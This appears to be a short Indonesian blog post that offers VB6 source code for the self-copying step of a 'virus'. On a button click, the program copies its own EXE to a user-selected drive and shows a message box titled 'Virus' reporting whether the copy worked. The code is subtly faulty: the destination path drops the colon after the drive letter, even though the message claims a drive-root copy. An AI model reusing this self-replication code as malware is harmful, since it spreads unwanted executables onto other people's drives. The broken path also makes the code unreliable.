Script Menggandakan Diri VIRUS

بِسْــــــــــــــــمِ اﷲِالرَّحْمَنِ اارَّحِيم

Buat 1 buah Command nama terserah anda lalu Copy lick dibawah ini

Private Declare Function CopyFile Lib "kernel32.dll" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long

Private Sub Command1_Click()

Dim iRetFunction As Long

iRetFunction = CopyFile(App.Path & "\" & App.EXEName & ".EXE", Left$(Drive1.Drive, 1) & "\" & App.EXEName & ".EXE", 0)

If iRetFunction > 0 Then

    MsgBox "Berhasil melakukan penggandaan ke : " & Left$(Drive1.Drive, 1) & ":\" & App.EXEName & ".EXE", vbInformation, "Virus"

Else

    MsgBox "Gagal melakukan penggandaan ke : " & Left$(Drive1.Drive, 1) & ":\" & App.EXEName & ".EXE", vbCritical, "Virus"
 
End If

End Sub

| Supported? |

Artikel Terkait VB6